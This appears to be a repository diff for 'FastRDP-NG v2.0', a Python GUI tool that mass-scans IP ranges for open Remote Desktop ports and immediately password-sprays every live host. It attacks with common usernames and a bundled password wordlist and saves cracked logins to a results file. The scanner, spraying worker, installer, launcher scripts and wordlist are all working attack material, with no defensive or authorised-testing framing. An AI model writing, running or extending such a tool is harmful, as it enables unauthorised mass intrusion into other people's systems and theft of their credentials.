self._log(f"\u2795 Added target: {ip}", "system")
except OSError as e:
self._log(f"\u274c Failed to write: {e}", "error")
else:
self._log("\u274c No ranges file path set!", "error")
dialog.destroy()
ttk.Button(dialog, text="Add Target", command=add).pack()
def _refresh_good(self):
self.good_text.delete("1.0", "end")
good_path = os.path.join(RESULTS_DIR, "good.txt")
if os.path.exists(good_path):
with open(good_path, 'r') as f:
self.good_text.insert("1.0", f.read())
def _update_host_status(self, ip, port, status, user="", pwd=""):
"""Update the status of a host in the treeview."""
key = (ip, port)
if key in self.host_items:
item_id = self.host_items[key]
self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd:
self.host_tree.item(iid, values=(ip, str(port), s, u, pw)))
else:
# New host - insert row
self.root.after(0, lambda i=ip, p=port, s=status:
self._insert_host(i, p, s))
def _insert_host(self, ip, port, status):
item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", ""))
self.host_items[(ip, port)] = item_id
# ── SCAN LOGIC ─────────────────────────────────────────
def _start_scan(self):
if self.scanning:
return
self.scanning = True
self.start_btn.config(state="disabled")
self.stop_btn.config(state="normal")
self.stats = ScanStats(start_time=time.time(), phase="scanning")
for item in self.host_tree.get_children():
self.host_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self._log("\u2501" * 55, "system")
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
thread = threading.Thread(target=self._scan_worker, daemon=True)
thread.start()
def _stop_scan(self):
self.scanning = False
self._log("\u25a0 STOP signal sent (finishing current batch)", "error")
def _clear_results(self):
for item in self.host_tree.get_children():
self.host_tree.delete(item)
for item in self.hit_tree.get_children():
self.hit_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self.log_text.delete("1.0", "end")
self.stats = ScanStats()
def _load_wordlists(self):
"""Load usernames and passwords from files (or use defaults)."""
usernames = TOP_USERNAMES
passwords = TOP50_PASSWORDS
uf = self.users_entry.get().strip()
if os.path.exists(uf):
with open(uf, 'r', errors='ignore') as f:
cu = [l.strip() for l in f if l.strip()]
if cu:
usernames = cu
pf = self.pass_entry.get().strip()
if os.path.exists(pf):
with open(pf, 'r', errors='ignore') as f:
cp = [l.strip() for l in f if l.strip()]
if cp:
passwords = cp
return usernames, passwords
def _scan_worker(self):
"""Background thread: scan + spray run CONCURRENTLY."""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
ranges_path = self.ranges_entry.get().strip()
if not os.path.exists(ranges_path):
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
self._scan_done()
return
self._log("\U0001f4ca Counting targets...", "system")
total_ips = count_ips(ranges_path)
self.stats.total = total_ips
ips = list(parse_ranges_file(ranges_path))
if not ips:
self._log("\u274c No valid IPs found in ranges file!", "error")
self._scan_done()
return
if self.randomize_var.get():
random.shuffle(ips)
active_ports = [p for p, v in self.port_vars.items() if v.get()]
if not active_ports:
active_ports = [3389]
speed = self.speed_var.get()
timeout = self.timeout_var.get()
self.stats.total = len(ips) * len(active_ports)
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
f"({speed:,} concurrent)", "system")
print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports"))
print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s"))
print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found"))
print(_c("\033[90m", " [+] " + "\u2500" * 55))
# Load wordlists now (in the background thread, before async loop)
usernames, passwords = self._load_wordlists()
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
# ── Streaming design ─────────────────────────────
# Scan calls live_callback immediately for each live host.
# The callback adds the host to a queue, and spray tasks
# are created as they arrive — all within the same loop.
spray_tasks = []
def on_live_host(ip: str, port: int):
"""Called IMMEDIATELY from the scanner when a host is found."""
if not self.scanning:
return
self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts)
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if self.spray_var.get():
# Create an asyncio task for this host's spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
spray_tasks.append(task)
def progress_cb(checked, total, found, rate):
if not self.scanning:
return
self.stats.checked = checked
self.stats.live = found
self.stats.rate = rate
# Run scan — live_callback fires immediately for each live host
scan_task = asyncio.create_task(
scan_ips(
ips, ports=active_ports,
max_concurrent=speed,
connect_timeout=timeout,
banner_check=False,
progress_callback=progress_cb,
live_callback=on_live_host
)
)
# Wait for scan to finish (spray tasks run alongside)
loop.run_until_complete(scan_task)
# Wait for remaining spray tasks to finish
if spray_tasks:
self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system")
loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True))
self._scan_done()
except Exception as e:
self._log(f"\u274c ERROR: {e}", "error")
import traceback
for line in traceback.format_exc().split('\n'):
if line.strip():
self._log(f" {line}", "error")
self._scan_done()
async def _spray_host(self, loop, ip, port, usernames, passwords):
"""Spray ALL passwords against a single host."""
try:
hits = await spray_single_host(
ip, port,
usernames=usernames,
passwords=passwords,
max_concurrent=50,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S")
self.hits.append((ip, port, user, pwd))
self.stats.hits = len(self.hits)
# GUI updates must happen on main thread
self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts:
self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t)))
self._write_good(ip, port, user, pwd)
def _write_good(self, ip: str, port: int, user: str, pwd: str):
good_path = os.path.join(RESULTS_DIR, "good.txt")
with open(good_path, 'a') as f:
f.write(f"{user}:{pwd}@{ip}:{port}\n")
def _scan_done(self):
self.scanning = False
self.stats.phase = "done"
self.root.after(0, lambda: self.start_btn.config(state="normal"))
self.root.after(0, lambda: self.stop_btn.config(state="disabled"))
self._log("\u25a0 SCAN COMPLETE", "scan")
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE"))
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}"))
print(_c("\033[96m", " \u2500" * 55))
def _on_close(self):
self.scanning = False
self.root.destroy()
def run(self):
self.root.mainloop()

63
install.bat Normal file
View File

@@ -0,0 +1,63 @@
@echo off
title FastRDP-NG v2.0 - Installer
cd /d "%~dp0"
echo.
echo ╔══════════════════════════════════════════╗
echo ║ FastRDP-NG v2.0 Installer ║
echo ╚══════════════════════════════════════════╝
echo.
:: Check Python
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
:: Create directories
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories created
:: Verify core files exist
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
)
)
:: Create initial good.txt
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
:: Test import
echo.
echo Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo.
echo ╔══════════════════════════════════════════╗
echo ║ Installation Complete! ║
echo ║ ║
echo ║ Run: run.bat or python main.py ║
echo ╚══════════════════════════════════════════╝
echo.
pause

87
ip_utils.py Normal file
View File

@@ -0,0 +1,87 @@
"""
FastRDP-NG IP Utilities
Parse IP ranges, CIDR notation, stick to basics.
"""
import ipaddress
import re
from typing import Generator
IP_RANGE_RE = re.compile(
r'^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*-\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$'
)
SINGLE_IP_RE = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
def parse_line(line: str) -> Generator[str, None, None]:
"""Parse a single line: single IP, dash range, CIDR."""
line = line.strip()
if not line or line.startswith('#') or line.startswith('//'):
return
# CIDR: 192.168.1.0/24
if '/' in line:
try:
network = ipaddress.IPv4Network(line, strict=False)
for host in network.hosts():
yield str(host)
except ValueError:
pass
return
# Dash range: 192.168.1.1-192.168.1.255
match = IP_RANGE_RE.match(line)
if match:
try:
start = int(ipaddress.IPv4Address(match.group(1)))
end = int(ipaddress.IPv4Address(match.group(2)))
if start > end:
start, end = end, start
# Cap at /16 to prevent memory bombs
if end - start > 65536:
end = start + 65536
for ip_int in range(start, end + 1):
yield str(ipaddress.IPv4Address(ip_int))
except ValueError:
pass
return
# Single IP
if SINGLE_IP_RE.match(line):
yield line
def parse_ranges_file(filepath: str) -> Generator[str, None, None]:
"""Parse ranges.txt, yield individual IPs lazily."""
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
yield from parse_line(line)
def count_ips(filepath: str) -> int:
"""Quick count of total IPs for progress tracking."""
total = 0
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#') or line.startswith('//'):
continue
if '/' in line:
try:
n = ipaddress.IPv4Network(line, strict=False)
total += max(0, n.num_addresses - 2)
except ValueError:
total += 1
elif IP_RANGE_RE.match(line):
m = IP_RANGE_RE.match(line)
if m is None:
total += 1
continue
s = int(ipaddress.IPv4Address(m.group(1)))
e = int(ipaddress.IPv4Address(m.group(2)))
if s > e:
s, e = e, s
total += min(e - s + 1, 65536)
elif SINGLE_IP_RE.match(line):
total += 1
return total

50
main.py Normal file
View File

@@ -0,0 +1,50 @@
#!/usr/bin/env python3
"""
FastRDP-NG v2.0 - Next Generation RDP Scanner & Password Sprayer
===============================================================
Blazing-fast async RDP scanner with Windows GUI.
Scans thousands of IPs per second, finds live RDP hosts,
then sprays top 50 common passwords.
Usage:
python main.py # Launch GUI
"""
import sys
import os
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
try:
# Python 3.7+ on Windows: reconfigure stdout to UTF-8
sys.stdout.reconfigure(encoding='utf-8')
except (AttributeError, ValueError):
pass
# Add project dir to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from gui import FastRDPGUI
def main():
print("""
╔══════════════════════════════════════════╗
║ FastRDP-NG v2.0 ║
║ Next-Gen RDP Scanner & Password Sprayer ║
╚══════════════════════════════════════════╝
""")
# Check if tkinter is available
try:
import tkinter
except ImportError:
print("[!] ERROR: tkinter not found! GUI mode requires tkinter.")
print(" On Windows, reinstall Python with 'tcl/tk and IDLE' checked.")
sys.exit(1)
app = FastRDPGUI()
app.run()
if __name__ == "__main__":
main()

BIN
rdp.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 160 KiB

3
requirements.txt Normal file
View File

@@ -0,0 +1,3 @@
# FastRDP-NG - zero dependencies needed for core
# Optional pretty terminal output:
# colorama>=0.4.6

21
run.bat Normal file
View File

@@ -0,0 +1,21 @@
@echo off
title FastRDP-NG v2.0
cd /d "%~dp0"
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
set PYTHONIOENCODING=utf-8
echo.
echo ╔══════════════════════════════════════════╗
echo ║ FastRDP-NG v2.0 ║
echo ║ Launching GUI... ║
echo ╚══════════════════════════════════════════╝
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] Python not found or error occurred.
echo [!] Make sure Python 3.8+ is installed and in PATH.
echo [!] Download: https://python.org/downloads
pause
)

141
scanner.py Normal file
View File

@@ -0,0 +1,141 @@
"""
FastRDP-NG: Blazing-fast async RDP scanner.
Connects to thousands of IPs concurrently to find live RDP hosts.
"""
import asyncio
import logging
import time
from typing import Set, Tuple, List
logger = logging.getLogger("FastRDP-NG")
# RDP ports to scan
RDP_PORTS = [3389, 3390, 3391]
# First 3 bytes of an RDP Negotiation Response (T.125)
# Actual RDP servers respond with 0x03 (TPKT version 3)
RDP_BANNER_SIG = b'\x03\x00'
async def check_rdp_port(
ip: str,
port: int,
timeout: float = 2.0
) -> Tuple[str, int, bool]:
"""
Rapid async TCP connect check.
Returns (ip, port, is_open).
No banner reading - pure connection speed.
"""
try:
_, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
timeout=timeout
)
writer.close()
await writer.wait_closed()
return (ip, port, True)
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def check_rdp_with_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0
) -> Tuple[str, int, bool]:
"""
Connect + read initial bytes to confirm it's actually RDP.
Slower but more accurate - catches non-RDP services on 3389.
"""
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
timeout=connect_timeout
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=banner_timeout
)
is_rdp = data[:2] == RDP_BANNER_SIG # TPKT header
return (ip, port, is_rdp)
except (asyncio.TimeoutError, ConnectionError, OSError):
# Connected but no banner = port open but not RDP
return (ip, port, False)
finally:
writer.close()
await writer.wait_closed()
except (asyncio.TimeoutError, ConnectionRefusedError,
OSError, ConnectionError):
return (ip, port, False)
async def scan_ips(
ips: List[str],
ports: List[int] = None, # type: ignore
max_concurrent: int = 5000,
connect_timeout: float = 2.0,
banner_check: bool = False,
progress_callback=None,
live_callback=None
) -> Set[Tuple[str, int]]:
"""
Scan a list of IPs across given ports as fast as possible.
Uses asyncio semaphore to control concurrency.
- progress_callback(checked, total, live_count, rate): called periodically
- live_callback(ip, port): called IMMEDIATELY when a live host is found
Returns set of (ip, port) tuples for live RDP hosts.
"""
if ports is None:
ports = RDP_PORTS
sem = asyncio.Semaphore(max_concurrent)
live_hosts: Set[Tuple[str, int]] = set()
checked = 0
total = len(ips) * len(ports)
start_time = time.time()
checker = check_rdp_with_banner if banner_check else check_rdp_port
async def check_one(ip: str, port: int):
nonlocal checked
async with sem:
_, p, alive = await checker(ip, port, connect_timeout)
if alive:
live_hosts.add((ip, p))
# Notify immediately — spray can start right away
if live_callback:
live_callback(ip, p)
checked += 1
if progress_callback and checked % 1000 == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
# Fire all tasks concurrently
tasks = []
for ip in ips:
for port in ports:
tasks.append(asyncio.create_task(check_one(ip, port)))
# Run in batches to avoid memory issues with massive task lists
batch_size = 50000
for i in range(0, len(tasks), batch_size):
batch = tasks[i:i + batch_size]
if batch:
await asyncio.gather(*batch, return_exceptions=True)
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
logger.info(
f"Scan complete: {len(live_hosts)} live hosts from {checked} checks "
f"in {elapsed:.1f}s ({rate:.0f} checks/sec)"
)
return live_hosts

415
wordlists/passwords.txt Normal file
View File

@@ -0,0 +1,415 @@
admin
Admin
password
Password
administrator
Administrator
p@ssw0rd
P@ssw0rd
passwor1
password
password!
password.
password00
password01
Password01!
password1
password101
password11
password12
PASSWORD123
password1234
password12345
password12345678
password123456789
password13
password2
password3
password5
password7
password77
password888
password9
password99
passwords
passwort
passwort123
911
qwerty
qweqwe
qweasd
qwezxc
qweasdzxc
qwertyuiop
asdfghjkl
zxcvbnm
1
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
0
01
012
0123
01234
012345
0123456
01234567
012345678
0123456789
9
98
987
9876
98765
987654
9876543
98765432
987654321
9876543210
10
210
3210
43210
543210
6543210
76543210
876543210
21
321
4321
54321
654321
7654321
87654321
987654321
00
000
0000
00000
000000
0000000
00000000
000000000
11
111
1111
11111
111111
1111111
11111111
111111111
2
22
222
2222
22222
222222
2222222
22222222
222222222
3
33
333
3333
33333
333333
3333333
33333333
333333333
4
44
444
4444
44444
444444
4444444
44444444
444444444
5
55
555
5555
55555
555555
5555555
55555555
555555555
6
66
666
6666
66666
666666
6666666
66666666
666666666
7
77
777
7777
77777
777777
7777777
77777777
777777777
8
88
888
8888
88888
888888
8888888
88888888
888888888
99
999
9999
99999
999999
9999999
99999999
999999999
P@ssw0rd
p@ss
p@ssw0rd
P@ss
P@$$w0rd
Passw0rd
passport
passw0rd
passw0rd1
passwd
passwor1
password
password!
password.
password00
password01
Password01!
password1
password101
password11
password12
PASSWORD123
password1234
password12345
password12345678
password123456789
password13
password2
password3
password5
password7
password77
password888
password9
password99
passwords
passwort
passwort123
admin1
admin12
admin123
admin123123
admin1234
administrador
administrator
Administrator1
Administrator12
Administrator123
Administrator1234
1
12
123
1234
4321
12345
54321
123123
123456
1234567
12341234
12345678
123456789
1234567890
123456789a
12345678a
1234567a
123456a
12345a
123abc
123asd
123qwerty
1q2w3e
1q2w3e4r
1q2w3e4r5
1q2w3e4r5t6y
1qaz2wsx
1qaz2wsx3edc
a12345
a123456
a1234567
a12345678
a123456789
a1b2c3
abc123
abcd
abcd123
abcde
abcde1
abcdef
access
alpha
alpha1
andrew
apple
asd123
asdfghjkl
ash123
asshole
auxiliar
avlmf
baseball
baseball1
batman1
bear
buster
byteme
c220
caixa
canada
canon
carmen
charly
chelsea
chicago
christian
compras
computer
Daniel
deadhead
default
disney
donald
drag0n
dragon
dreams
eagle
family
fax
financeiro
football1
go
goat
harley
hello
hockey
home
house
hunter
internet
jordan
jose
jupiter
killer
leagueoflegends1
letmein
londra
maddog
maggie
magic
manager
master
master1
matrix
me
michael
michelle
mickey
mike
mindy
money
monitor
mountain
mustang
nb
newpass
newyork
nothing
P@ssw0rd
p0kem0n
paris
pass
passpass
pat
patrick
pentium
pepper
phoenix
please
pokem0n
pokemon1
pokemon2
power
printer
prueba
q1w2e3r4
qwe123
qwerty
qwertyuiop
ranger
reality
reception
remote
remoto
robotech
rocky
sander
scanner
scans
scanuser
secret
security
server
service
servidor
shadow
shithead
singer
sistema
snoopy
spam
spiderman1
stupid
summer
superman1
support
system
tech
temp
tennis
test
test123
teste
tigger
topgun
trustno1
user
usuario
usuario1
usuario2
welcome
xsw21qaz
xsw2zaq1
xxx
ytrewq
zaq12wsx
zxasqw12
zxcvbnm

3
wordlists/ports.txt Normal file
View File

@@ -0,0 +1,3 @@
3389
3390
3391

28802
wordlists/ranges.txt Normal file

File diff suppressed because it is too large Load Diff

5
wordlists/users.txt Normal file
View File

@@ -0,0 +1,5 @@
Administrator
Admin
User
User1
GhostUser